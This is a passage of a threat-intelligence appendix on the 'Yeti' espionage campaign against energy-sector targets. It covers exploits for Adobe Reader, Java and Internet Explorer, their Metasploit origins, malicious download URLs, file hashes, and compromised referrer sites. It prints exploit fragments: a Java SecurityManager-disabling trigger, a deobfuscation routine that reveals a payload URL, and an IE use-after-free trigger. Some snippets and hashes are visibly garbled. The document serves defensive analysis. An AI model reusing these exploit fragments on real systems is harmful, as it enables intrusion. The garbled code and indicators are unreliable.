goolef.class -- Exploit.Java.CVE-2012-1723.ow
hidden.class -- Exploit.Java.CVE-2012-4681.as
V.class -- Exploit.Java.CVE-2012-4681.ar

CVE-2010-2883 - Adobe Reader exploit

nahoonservices.com/wp-content/plugins/rss-poster/jungle.pdf → 3c38cb140c83d35ac312b7906b934fe3
%temp%\TmpProvider0.dll
783A5870FA3ECDEA0C49B20F5C024EFC

Almost predictably, this early Yeti pdf exploit is yet another metasploit rip. The ROP used in this Yeti exploit matches the msf code instruction for instruction. The pdf stores the Havex downloader in its content, which it writes to %temp% and executes after obtaining control flow from Adobe Reader.

The significant stages of this exploit start by setting up parameters for the vulnerable strcat call in the CoolType SING table parsing library here, in order to overwrite the stack with an appropriate ROP blob. The code is paused here at the vulnerable strcat call:

![Immunity Debugger - AcroRd32.exe - [CH - main thread, module CoolType]](attachment:immunity.png)
After the strcat call values smash the stack, an exact copy of the metasploit ROP code delivered by the Yeti exploit pivots from the (msf-selected) icucnv36.dll library into the microsoft c runtime to make a memcpy call here:

The original 0-day exploiting this Adobe Reader vulnerability targeted icucnv34.dll. Function call chains for both the Yeti ROP and the msf ROP are as follows:

CreateFileA
CreateFileMappingA
MapViewOfFile
save and load the saved mapping ptr
memcpy
ret back into shellcode for Havex file write to %temp% and execute

This work is clearly a rip from metasploit.

**CVE-2012-5076 - Java exploit**

www.nahoonservices.com/wp-content/plugins/rss-poster/dgoat.jar  www.nahoonservices.com/wp-content/plugins/rss-poster/jungle.php (TmpProvider0.dll, 2e39e7bd5d566893fe3df0c7e145d83a)
dgoat.jar
Another exploit ripping metasploit code. This exploit was first seen on a large scale when exploit code targeting cve-2012-5076 was included in the “Cool Exploit” pack. The flaw lies in the configuration of the JRE itself and enables untrusted applets to access dangerous packages. In other words, “com.sun.org.glassfish.,\” was left out of the checkPackageAccess list in the java.security file.

From the unrestricted com.sun.org.glassfish.* package, the untrusted applets can create a class with elevated privilege. In this case, one of the exposed “dangerous” packages happens to be com.sun.org.glassfish.gmbal, which you can see imported by “SiteError.class”:

```java
import com.sun.org.glassfish.gmbalManagedObjectFactory;
import com.sun.org.glassfish.gmbal.util.GenericConstructor;
import java.applet.Applet;
import java.io.PrintStream;
import java.lang.reflect.Method;
import javax.swing.JList;
```

Also in that class file is the trigger itself, where a malicious class is loaded on the fly by the unrestricted “GenericConstructor” code that should not have been available to an untrusted applet.

```java
GenericConstructor localGenericConstructor = new GenericConstructor(java/lang/Object, "sun.invoke.anon.AnonymousClassLoader", new Class[0];
Object localObject = localGenericConstructor.create(new Object[0]);
Method localMethod = ManagedObjectManagerFactory.getFacade(localObject.getClass(), "loadClass", new Class[] { new byte[0].getClass() });
Class localClass = (Class)localMethod.invoke(localObject, new Object[] { smd_bytes });
try{
    Object x = localClass.newInstance();
    x
}"
add(1);
```

The new instance of localClass created from smd_bytes is nothing more than a call to set the SecurityManager value to null, effectively turning off the JRE sandbox security access features. The exploit maintains a class in the byte array:
try
{
    byte smd_bytes[] = {
        -54, -2, -70, -56, 0, 0, 0, 51, 0, 26,
        7, 0, 2, 1, 0, 23, 83, 101, 99, 117,
        114, 105, 116, 121, 77, 97, 110, 97, 103, 101,
        114, 68, 105, 115, 97, 98, 108, 101, 114, 7,
        0, 4, 1, 0, 16, 106, 97, 118, 97, 47,
        108, 97, 110, 103, 47, 79, 98, 106, 101, 99,
        116, 1, 0, 6, 60, 105, 110, 105, 116, 62,
        1, 0, 3, 40, 41, 86, 1, 0, 4, 67,
        111, 100, 101, 10, 0, 3, 0, 9, 12, 0,
        5, 0, 6, 1, 0, 15, 76, 105, 110, 101,
        78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
        101, 1, 0, 18, 76, 111, 99, 97, 108, 86,
        97, 114, 105, 97, 98, 108, 101, 84, 97, 93,
        108, 101, 1, 0, 4, 116, 104, 105, 115, 1,
        0, 25, 76, 83, 101, 99, 117, 114, 105, 116,
        121, 77, 97, 110, 97, 103, 101, 114, 68, 105,
        115, 97, 98, 108, 101, 114, 59, 1, 0, 8,
        116, 111, 83, 116, 114, 105, 110, 103, 1, 0,
        20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
        97, 110, 103, 47, 83, 116, 114, 105, 110, 103,
        59, 10, 0, 17, 0, 19, 7, 0, 18, 1,
    }

And when decoded, the contents of this smd_bytes array are in fact “SecurityManagerDisabler. class”:

    public class SecurityManagerDisabler
    {
        public SecurityManagerDisabler()
        {
        }

        public String toString()
        {
            System.setSecurityManager(null);
            return "";
        }
    }

After SecurityManagerDisabler.class disables the JRE SecurityManager, SiteError.class code loads the Mosdef.class, which downloads and runs another Havex backdoor. It downloads www.nahoonservices.com/wp-content/plugins/rss-poster/jungle.php to %temp%, renames it to TMPprovider0.dll and executes the Havex code:
CVE-2013-1488 - Java exploit

6f50b55b9f08522e35f871a9654c5a84, start.jar, Exploit.Java.CVE-2011-3544.sf
Delivers “coresyns.exe”, a Karagany backdoor

start.jar

| FakeDriver.class, 1771 bytes
| FakeDriver2.class, 1573 bytes
| LyvAGalW.class, 2459 bytes
|
+---META-INF
| MANIFEST.MF - “Manifest-Version: 1.0, Created-By: 1.7.0_11 (Oracle Corporation)”
| +---services
| java.lang.Object - “FakeDriver,FakeDriver2”

CVE-2013-0422 - Java exploit

8907564aba9c9ae3225e304a847d8393, direct.jar, HEUR:Exploit.Java.CVE-2013-0431.gen
fd4927ba0c49ecc3d9285404499a664b09e88140862b6f0фффид5892de8618e

direct.jar

| Joker.class, 809 bytes
| King.class, 4234 bytes
| Servant.class, 1231 bytes
|
+---META-INF
MANIFEST.MF - “Manifest-Version: 1.0, Created-By: 1.7.0_11 (Oracle Corporation)”

CVE-2013-2465 - Java exploit

serviciosglobal.com/classes/kool.jar →
serviciosglobal.com/classes/crunur2i.php?dwl=fne
→ %temp%\ntsvcreg.exe

6b89e569cfe25e6bb59ca51198f6e793, kool.jar, HEUR:Exploit.Java.Generic
5ecd5f9e2c38bd8c88ca29f363967812016b770d027842a9670d4ceb5b61232f
This exploit is ripped almost directly from the metasploit framework - it's simply modified with an additional string obfuscation handling method. The obfuscation code in this java exploit is fairly weak but effective in modifying the metasploit code just enough to cover up similarities. The exploit code was only slightly modified here to demonstrate the crypto routine and hardcoded string values for the payload url and filepath:

```java
public static byte[] WobAflyV(String s, int i) {
    byteabyte[] = new byte[s.length() / 2];
    for (int j = 0; j <abyte0.length; j++)
        abyte0[j] = (byte) (Integer.parseInt(s.substring(2 * j, 2 * j + 2), 16) ^ i);
    return abyte0;
}

public static void main(String args[]) {
    String s = "d5c9c9c9d87592ced68fbbd7d22ced1d2ded1dceced8c92decfc8d3c8cf8f93cdd5c;
    byte abyte[] = WobAflyV(s, 109);
    byte abyte2[] = WobAflyV(s1, 189);
    String arg = new String(abyte1);
    String arg2 = new String(abyte2);
    System.out.println(arg);
    System.out.println(arg2);
    String s2 = "d5c9c9c9d87592ced68fbbd7d22ced1d2ded1dceced8c92decfc8d3c8cf8f93cdd5c"
    byte abyte[] = WobAflyV(s2, 189);
    String s3 = (new StringBuilder()).append(System.getProperty(new String(abyte3))).append(arg2).toString();
    System.out.println(s3);
}
```

Output here:

```
http://serviciosglobal.com/classes/cruñur2i.php?dwl=fnetsvcreg.exe
c:\D0CUME\~1\p\LOCALS\~1\Temp\ntsvcreg.exe
```

**Another CVE-2013-2465(2014.03)**

mahsms.ir/wp-includes/pomo/srgh.php?a=r2
(%temp%\ntregsvr32.exe)
7193a06fd7ffe78b67a5fc3c3b599116,file.jar,
  | dAFyTngH.class, 449 bytes
  | FVlMQjZg.class, 330 bytes
  | gYEgZwVz.class, 331 bytes
  | jqoZhkHr$MyBufferedImage.class, 495 bytes
  | jqoZhkHr.class, 4785 bytes
  | NNpGXbMk.class, 486 bytes
  | yqHWgAJa.class, 2783 bytes
+-META-INF
    MANIFEST.MF, “Manifest-Version: 1.0\d\nCreated-By: 1.7.0_11 (Oracle Corporation)”

CVE-2013-1347 - Internet Explorer exploit

kenzhebek.com_tiki/files/templates/listpages/negc.html →
kenzhebek.com/tiki/files/templates/listpages/hoem.php

www.nahoonservices.com/wp-content/plugins/rss-poster/negc.html →
e6409deb87cabb1d573b9e1367bd0df, negc.html, Exploit.JS.CVE-2013-1347.a
ec7ce1f3eac658ebd31d26d8d719b14903502cdea4938e6935a74d9355fe5282

2e27a5d1a4f4cf5729d23303a56daa70, negc.html, Exploit.JS.CVE-2013-1347.b

03637d861d1b58863a212d4993fe4d2f, tmpprovider0.dll, Trojan-Dropper.Win32.Daws.bqsi
cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9dbd06ee111

The exploit itself is finicky. It is another rip of the corresponding metasploit code, with minor modifications. See “Obvious Metasploit Rips” below. The shellcode delivered with the exploit is nothing out of the ordinary, using expected thread environment variables to identify module locations in the memory...

The shellcode gets more interesting due to the manner in which the download url string was built.
The encoding algo was a simple additive 0x1010101 against every four bytes of the reversed string “kenzhebek.com/tiki/files/templates/listpages/hoem.php”, which was downloaded as a Havex backdoor. The decoder looks like this...

![Image]

**CVE-2012-1889 - Internet Explorer components exploit**

roxsuite.com/includes/phpmailer/irl.html →
8b15ef4815c771a94b4adcaee8c67100
718c6211cb78e5f6a0e02be4960c23f6c1cdb1eedeb7a711b595b422c84076a3

roxsuite.com/includes/phpmailer/page.jpg →
c:\DOCUME~1\p\LOCALS~1\Temp\sysplug.exe
11c3bb242264fe5146854ca27ebd50b0, sysplug.exe, Worm.Win32.WBNA.pdj
Signed with Intel Certificate, Root CA Intel (likely spoofed)

→ %temp%\crtscp.exe
59f7a5d39c47bd62fedf24f5f2ea6e01, crtscp.exe, Worm.Win32.WBNA.pdj
24c9d984bda2f2152bde121393efbba894d3a361090f6b97623a90567c27ee2ca
Identifying the clsid used in this script is a giveaway on the targeted MS XML Core Services software:
Of course, most of this code appears to be ripped from the corresponding metasploit exploit code. Interestingly, the metasploit code was derived from 0day Itw at the time in June 2013. But the attackers didn’t use it until after the vulnerability was patched. The Yeti attackers simply did not need a 0-day arsenal.

The attackers must have known or expected that they were targeting Internet Explorer 7 on the victims’ systems. The later, updated versions of the corresponding metasploit code maintain ROP to evade problems with attacking IE 8+ ASLR/DEP protections, but the Yeti code does not. This absence is somewhat odd, because KSN events indicate the code was active in August 2013, and the metasploit dev added ROP to their code in June 2013.

The shellcode delivered from this exploit also includes an unusual url and filename string build routine:
The decoded strings here:
10.3. Obvious Metasploit Rips

The Yeti exploits are ripped line-for-line from the metasploit framework.

For example, class files served from www.nahoonservices.com/wp-content/plugins/rss-poster/start.jar include code pulled from the msf. From the Yeti LyvAGalW.class file:

```java
System.out.println("Here we go...");
String s = "jdbc:msf:sql://127.0.0.1:8080/sample";
String s2 = "userid";
String s3 = "password";
java.sql.Connection connection = DriverManager.getConnection(s, s2, s3);
```

And for comparison, here is the java exploit code from metasploit framework: github.com/rapid7/metasploit-framework/blob/master/external/source/exploits/cve-2013-1488/Exploit.java:

```java
System.out.println("Here we go...");
String url = "jdbc:msf:sql://127.0.0.1:8080/sample";
String userid = "userid";
String password = "password";
Connection con = DriverManager.getConnection(url, userid, password);
```

Yeti’s delivery of CVE-2013-1347 from nahoonservices.com/wp-content/plugins/rss-poster/negc.html displays much the same level of technical originality. From negc.html

```javascript
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));
try{
    f0.offsetParent=null;
}catch(e) {
}f2.innerHTML="";
```
The matching **CVE-2013-1347** code pulled from msf

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb (minor modifications made to its shellcode build algorithm. Actually, the Yeti version is dumbed down, when compared to the metasploit framework version):

```javascript
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));
try{
    f0.offsetTop=null;
}catch(e) {
}f2.innerHTML="";
f0.appendChild(document.createElement('hr'));
f1.innerHTML="";
}
```
10.4. Changing Lights Out exploit sites’ download flow

In earlier cases (July 2013), successful Java exploitation served from nahoonservices.com would cascade into more Yeti components planted on victim systems. The java exploit in turn downloaded Karagany backdoors, which in turn downloaded stealers from 91.203.6.71:

User visits utilico.co.uk → redirected to → nahoonservices.com → Java Exploits →
www.nahoonservices.com/wp-content/plugins/rss-poster/start.jar
a615d71af0c856c89bb8eb5c6e7644d
fcf7b6e68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915
juch.php saved as “searchindexer.exe”, or “coresyns.exe” and run, then downloads and runs...
→ 91.203.6.71/check2/muees27jxt/fl.exe
  4bfdda1a5f21d56afdc2060b9ce5a170
07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4
→ 91.203.6.71/check2/muees27jxt/scs.exe
da94235635f61a06a35882d30c7b62b3
05fb04474a3785995508101eca7aff8e89c658f7f9555de6d6d4db40583ac53

In a later incident, KSN data recorded one origin of these exploits as:

hxxp://keeleux.com/sfreg/img/nav/gami.jar and
hxxp://keeleux.com/sfreg/img/nav/stoh.jar (ab580bd7a1193fe01855a6b8bd8f456b)

The file “stoh.jar” includes “DownloadExec.class”, which maintains a hardcoded string to the URL. This string appears to be more commonly implemented at the active exploit sites:

hxxp://keeleux.com/sfreg/img/nav/iden21php?dwl=fne

It writes out the TmpProvider.dll Havex loader downloaded from this resource and runs it using “rundll32.exe”.

eWON trojanized installer detail:

hxxp://www.ewon.biz/software/eCatcher/eCatcherSetup.exe (eb0dacdc8b346f44c8c370408bad43
06,70103c1078d6eb28b665a89ad0b3d11c1caca61a05a18f87f6a16c79b501dfe9)

Havex loader version 038
(401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67) dropped as TmpProvider.dll.
10.5. Related Targeted Software and CVE Entries

**Internet Explorer**
CVE-2013-1347
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1347
“Microsoft Internet Explorer 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly allocated or (2) is deleted, as exploited in the wild in May 2013.”

CVE-2012-1889
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1889
“Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 accesses uninitialized memory locations, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.”

**Java**
CVE-2013-1488
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1488
“The Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 17 and earlier, and OpenJDK 6 and 7, allows remote attackers to execute arbitrary code via unspecified vectors involving reflection, Libraries, “improper toString calls,” and the JDBC driver manager, as demonstrated by James Forshaw during a Pwn2Own competition at CanSecWest 2013.”

CVE-2012-1723
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1723
“Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 update 32 and earlier, 5 update 35 and earlier, and 1.4.2_37 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Hotspot.”

CVE-2012-5076
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-cve-2012-5076
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allows remote attackers to affect confidentiality, integrity, and availability, related to JAX-WS.

CVE-2013-2465
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-2465
“Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE
7 Update 21 and earlier, 6 Update 45 and earlier, and 5.0 Update 45 and earlier, and OpenJDK 7, allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to 2D. NOTE: the previous information is from the June 2013 CPU. Oracle has not commented on claims from another vendor that this issue allows remote attackers to bypass the Java sandbox via vectors related to “Incorrect image channel verification” in 2D.”

CVE-2013-2423
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-2423
“Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 17 and earlier, and OpenJDK 7, allows remote attackers to affect integrity via unknown vectors related to HotSpot. NOTE: the previous information is from the April 2013 CPU. Oracle has not commented on claims from the original researcher that this vulnerability allows remote attackers to bypass permission checks by the MethodHandles method and modify arbitrary public final fields using reflection and type confusion, as demonstrated using integer and double fields to disable the security manager.”

CVE-2012-4681
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-4681
Multiple vulnerabilities in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 6 and earlier allow remote attackers to execute arbitrary code via a crafted applet that bypasses SecurityManager restrictions by (1) using com.sun.beans.finder.ClassFinder.findClass and leveraging an exception with the forName method to access restricted classes from arbitrary packages such as sun.awt.SunToolkit, then (2) using “reflection with a trusted immediate caller” to leverage the getField method to access and modify private fields, as exploited in the wild in August 2012 using Gondzz.class and Gondvv.class.

CVE-2013-0422
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-0422
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using the public getMBeanInstantiator method in the JmxMBeanServer class to obtain a reference to a private MBeanInstantiator object, then retrieving arbitrary Class references using the findClass method, and (2) using the Reflection API with recursion in a way that bypasses a security check by the java.lang.invoke.MethodHandles.Lookup.checkSecurityManager method due to the inability of the sun.reflect.Reflection.getCallerClass method to skip frames related to the new reflection API, as exploited in the wild in January 2013, as demonstrated by Blackhole and Nuclear Pack, and a different vulnerability than CVE-2012-4681 and CVE-2012-3174. NOTE: some parties have mapped the recursive Reflection API issue to CVE-2012-3174, but CVE-2012-3174 is for a different vulnerability whose details are not public as of 20130114. CVE-2013-0422 covers both the JMX/MBean and Reflection API issues. NOTE: it was originally reported that Java 6 was also vulnerable, but the reporter has retracted this claim, stating that Java 6 is not exploitable because
the relevant code is called in a way that does not bypass security checks. NOTE: as of 20130114, a reliable third party has claimed that the findClass/MBeanInstantiator vector was not fixed in Oracle Java 7 Update 11. If there is still a vulnerable condition, then a separate CVE identifier might be created for the unfixed issue.

Mozilla Firefox
CVE-2013-1690
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-1690
“Mozilla Firefox before 22.0, Firefox ESR 17.x before 17.0.7, Thunderbird before 17.0.7, and Thunderbird ESR 17.x before 17.0.7 do not properly handle onreadystatechange events in conjunction with page reloading, which allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted web site that triggers an attempt to execute data at an unmapped memory location.”

Adobe Reader
CVE-2010-2883
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-2883
Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010. NOTE: some of these details are obtained from third party information.
## XI. Appendix 11:
Malicious Domains and Redirectors

<table>
<thead>
<tr>
<th>Exploit URL</th>
<th>Client side software</th>
<th>CVE</th>
<th>Approximately Active</th>
</tr>
</thead>
<tbody>
<tr>
<td>nahoonservices.com/wp-content/plugins/rss-poster/direct.jar</td>
<td>Java</td>
<td>cve-2013-0422</td>
<td>2013.05</td>
</tr>
<tr>
<td>waytomiracle.com/physics/wp-content/plugins/akismet/kool.jar</td>
<td>Java</td>
<td>cve-2013-2465</td>
<td>2014.01</td>
</tr>
<tr>
<td>kenzhebek.com/tiki/files/templates/listpages/start.jar</td>
<td>Java</td>
<td>cve-2013-2423</td>
<td>2013.05 - 2013.09</td>
</tr>
<tr>
<td>kenzhebek.com/tiki/files/templates/listpages/negc.html</td>
<td>Internet Explorer</td>
<td>cve-2013-1347</td>
<td>2013.05</td>
</tr>
<tr>
<td>kenzhebek.com/tiki/files/templates/listpages/negq.html</td>
<td>Internet Explorer</td>
<td>cve-2013-1347</td>
<td>2013.08</td>
</tr>
<tr>
<td>kenzhebek.com/tiki/files/templates/listpages/stoq.jar</td>
<td>Java</td>
<td>cve-2012-1723</td>
<td>2013.05 - 2013.09</td>
</tr>
<tr>
<td>keeleux.com/sfreg/img/nav/leks.jar</td>
<td>Java</td>
<td>cve-2012-1723</td>
<td>2013.08</td>
</tr>
<tr>
<td>adultfriendgermany.com/wp-content/plugins/google-analytics-for-wordpress/etihu.jar</td>
<td>Java</td>
<td>cve-2012-5076</td>
<td>2013.02</td>
</tr>
<tr>
<td>adultfriendfrance.com/wp-includes/pomo/Applet.jar</td>
<td>Java</td>
<td>cve-2012-1723</td>
<td>2013.02</td>
</tr>
<tr>
<td>lafollettewines.com/blog/wp-includes/pomo/direct.jar</td>
<td>Java</td>
<td>cve-2013-0422</td>
<td>2013.02</td>
</tr>
<tr>
<td>lafollettewines.com/blog/wp-includes/pomo/leks.jar</td>
<td>Java</td>
<td>cve-2012-1723</td>
<td>2013.02</td>
</tr>
<tr>
<td>Exploit URL</td>
<td>Client side software</td>
<td>CVE</td>
<td>Approximately Active</td>
</tr>
<tr>
<td>---------------------------------------------------------------------------</td>
<td>----------------------</td>
<td>--------------</td>
<td>-----------------------</td>
</tr>
<tr>
<td>roxsuite.com/components/com_search/views/search/tmpl/outstat.jar</td>
<td>Java</td>
<td>cve-2012-4681</td>
<td>2013.11</td>
</tr>
<tr>
<td>claudia.dmonzon.com/wp-content/plugins/jetpack/_inc/Outstat.jar</td>
<td>Java</td>
<td>cve-2012-4681</td>
<td>2013.11</td>
</tr>
<tr>
<td>aziaone.com/wp-includes/pomo/Outstatf.jar</td>
<td>Java</td>
<td>cve-2012-4681</td>
<td>2012.09</td>
</tr>
<tr>
<td>roxsuite.com/includes/phpmailer/bara.jar</td>
<td>Java</td>
<td>cve-2012-1723</td>
<td>2012.08</td>
</tr>
<tr>
<td>serviciosglobal.com/classes/kool.jar</td>
<td>Java</td>
<td>cve-2013-2465</td>
<td>2013.11</td>
</tr>
<tr>
<td>mohsenmeghdari.com/addons/_defensio/leks.jar</td>
<td>Java</td>
<td>cve-2012-1723</td>
<td>2013.10</td>
</tr>
<tr>
<td>mohsenmeghdari.com/addons/_defensio/negc.html</td>
<td>Internet Explorer</td>
<td>cve-2013-1347</td>
<td>2013.09</td>
</tr>
<tr>
<td>mahsms.ir/wp-includes/pomo/srgh.php?a=r2</td>
<td>Java</td>
<td>cve-2013-2465</td>
<td>2014.01</td>
</tr>
<tr>
<td>cum-filled-trannys.com/wp-includes/pomo/Deliver.jar</td>
<td>Java</td>
<td>cve-2012-4681</td>
<td>2012.08</td>
</tr>
<tr>
<td>woman-site.com/modules/mod_search/stoh.jar</td>
<td>Java</td>
<td>cve-2012-1723</td>
<td>2013.11</td>
</tr>
<tr>
<td>Compromised Referrer</td>
<td>Referrer Profile</td>
<td>Exploit Site</td>
<td>Approximately Active</td>
</tr>
<tr>
<td>----------------------</td>
<td>----------------------------------------------------------------------------------</td>
<td>---------------------</td>
<td>----------------------</td>
</tr>
<tr>
<td>gse.com.ge</td>
<td>Georgian State Electrosystem (GSE) - 100% state-owned joint stock company providing transmission and exclusive dispatch services to about 50 eligible companies in Georgia</td>
<td>lafollettwines.com</td>
<td>2013 Q1</td>
</tr>
<tr>
<td>gamyba.le.lt</td>
<td>Lietuvos energijos gamyba - Lithuania's largest electricity generating company, which combines all state-operated electricity generating capacities</td>
<td>lafollettwines.com</td>
<td>2013 Q3</td>
</tr>
<tr>
<td>utilico.co.uk</td>
<td>Investment company - “significant proportion of its Gross Assets invested in developed markets in existing utilities and related stocks, including...water and sewerage companies, waste, electricity, gas, telecommunications, ports, airports, service companies, rail, roads, any business with essential service or monopolistic characteristics and in any new utilities”; Chairman - “has many years’ experience in the international utility sector, playing a major role in the restructuring and privatization of the UK electricity industry”</td>
<td>nahoonservices.com</td>
<td>2012 Q4 - 2013 Q1</td>
</tr>
<tr>
<td>yell.ge</td>
<td>Georgian Yellow Pages, maintains Manganese mining org contacts</td>
<td>nahoonservices.com</td>
<td>2012 Q4 - 2013 Q1</td>
</tr>
<tr>
<td>chariotoilandgas.com</td>
<td>Chariot Oil and Gas Limited - independent oil and gas exploration company with interests in Namibia and Mauritania</td>
<td>nahoonservices.com</td>
<td>2012 Q4 - 2013 Q1</td>
</tr>
<tr>
<td>Compromised Referrer</td>
<td>Referrer Profile</td>
<td>Exploit Site</td>
<td>Approximately Active</td>
</tr>
<tr>
<td>---------------------------</td>
<td>----------------------------------------------------------------------------------</td>
<td>----------------------------</td>
<td>-----------------------</td>
</tr>
<tr>
<td>longreachoilandgas.com</td>
<td>Longreach Oil &amp; Gas Ltd. - fast growing oil and gas exploration company, with significant license interest in onshore and offshore Morocco</td>
<td>nahoonservices.com</td>
<td>2012 Q4 - 2013 Q1</td>
</tr>
<tr>
<td>straininstall.com</td>
<td>For more than 45 years Strainstall has helped industries worldwide to operate safely by ensuring that structures, equipment and infrastructure are safe to use. We have developed world-class systems to monitor physical and performance parameters such as load, stress, temperature, acceleration, pressure and displacement</td>
<td>nahoonservices.com</td>
<td>2012 Q4 - 2013 Q1</td>
</tr>
<tr>
<td>jfaerospace.com</td>
<td>James Fisher Aerospace (JFA) is an internationally respected aerospace project organization, with an extensive multi-skilled engineering design and global supply capability supporting military and civil aerospace industries Formerly known as JF Faber, the company's expertise and experience includes extensive projects in aerospace as well as in a variety of other high integrity industries</td>
<td>nahoonservices.com</td>
<td>2012 Q4 - 2013 Q1</td>
</tr>
<tr>
<td>vitogaz.com</td>
<td>French-based gas distributor, supplier and technical developer</td>
<td>serviciosglobal.com</td>
<td>2013 Q4</td>
</tr>
<tr>
<td>vitogaz.com</td>
<td>French-based gas distributor, supplier and technical developer</td>
<td>keeleux.com</td>
<td>2013 Q4</td>
</tr>
<tr>
<td>bsicomputer.com</td>
<td>California-based industrial computer systems manufacturer and developer</td>
<td>serviciosglobal.com</td>
<td>2013 Q4</td>
</tr>
<tr>
<td>Compromised Referrer</td>
<td>Referrer Profile</td>
<td>Exploit Site</td>
<td>Approximately Active</td>
</tr>
<tr>
<td>----------------------</td>
<td>------------------</td>
<td>-----------------------</td>
<td>----------------------</td>
</tr>
<tr>
<td>energyplatform.eu</td>
<td>French-based RBF, Renewables Business Facilitator - organization representing 200 renewable energy research centers and businesses</td>
<td>serviciosglobal.com</td>
<td>2013 Q4</td>
</tr>
<tr>
<td>firstenergy.com</td>
<td>FirstEnergy Capital - Calgary based investment banking provider. Financial, advisory and investment services to the global energy sector</td>
<td>serviciosglobal.com</td>
<td>2013 Q4</td>
</tr>
<tr>
<td>firstenergy.com</td>
<td>FirstEnergy Capital - Calgary based investment banking provider. Financial, advisory and investment services to the global energy sector</td>
<td>kenzhebek.com</td>
<td>2013 Q3</td>
</tr>
<tr>
<td><a href="http://www.energo-pro.ge">www.energo-pro.ge</a></td>
<td>Energy Pro Georgia - one of the biggest energy companies in the region...vast investments in the development and maintenance of company owned renewable energy objects, rehabilitation of grid infrastructure and service improvement</td>
<td>kenzhebek.com</td>
<td>2013 Q2, Q3</td>
</tr>
<tr>
<td>enero-pro.ge</td>
<td>Energy Pro Georgia - one of the biggest energy companies in the region...vast investments in the development and maintenance of company owned renewable energy objects, rehabilitation of grid infrastructure and service improvement</td>
<td>keeleux.com</td>
<td>2013 Q2</td>
</tr>
<tr>
<td>gritech.fr</td>
<td>Gritech - engineering company in the field of high voltage and computing power transmission steel structures</td>
<td>keeleux.com</td>
<td>2013 Q4</td>
</tr>
<tr>
<td>Compromised Referrer</td>
<td>Referrer Profile</td>
<td>Exploit Site</td>
<td>Approximately Active</td>
</tr>
<tr>
<td>-----------------------</td>
<td>------------------</td>
<td>--------------------</td>
<td>----------------------</td>
</tr>
<tr>
<td>rare.fr</td>
<td>Réseau national des Agences Régionales de l'Energie et de l'Environnement - brings together 12 partners... Operational partnerships have been established with the Ministry of Ecology, Energy, Sustainable Development and the Sea... ADEME and the network of local energy agencies (FLAME)</td>
<td>keeleux.com</td>
<td>2013 Q4</td>
</tr>
<tr>
<td>used.samashmusic.com</td>
<td>US-based website - used musical instrument stores located across the US. Frequently emails potential customers with links to site</td>
<td>waytomiracle.com</td>
<td>2014 Q1</td>
</tr>
<tr>
<td>sbmania.net</td>
<td>Sponge Bob fan site SpongeBuddy Mania - includes a forum where individuals can be specifically targeted, including adults</td>
<td>waytomiracle.com</td>
<td>2014 Q1</td>
</tr>
<tr>
<td>39essex.com</td>
<td>British based global advisers - legal mediation and advocacy, policy and business advice</td>
<td>serviciosglobal.com</td>
<td>2013 Q4</td>
</tr>
<tr>
<td>meteo.orange.fr</td>
<td>French-based weather forecasting for Saint Gervais, FR</td>
<td>serviciosglobal.com</td>
<td>2013 Q4</td>
</tr>
<tr>
<td>energyplatform.eu</td>
<td>French-based RBF, Renewables Business Facilitator - organization representing 200 renewable energy research centers and businesses</td>
<td>woman-site.com</td>
<td>2013 Q4</td>
</tr>
<tr>
<td>gritech.fr</td>
<td>Gritech - engineering company in the field of high voltage and computing power transmission steel structures</td>
<td>woman-site.com</td>
<td>2013 Q4</td>
</tr>
<tr>
<td>Compromised Referrer</td>
<td>Referrer Profile</td>
<td>Exploit Site</td>
<td>Approximately Active</td>
</tr>
<tr>
<td>----------------------</td>
<td>-----------------</td>
<td>--------------</td>
<td>----------------------</td>
</tr>
<tr>
<td>vitoreseau.com</td>
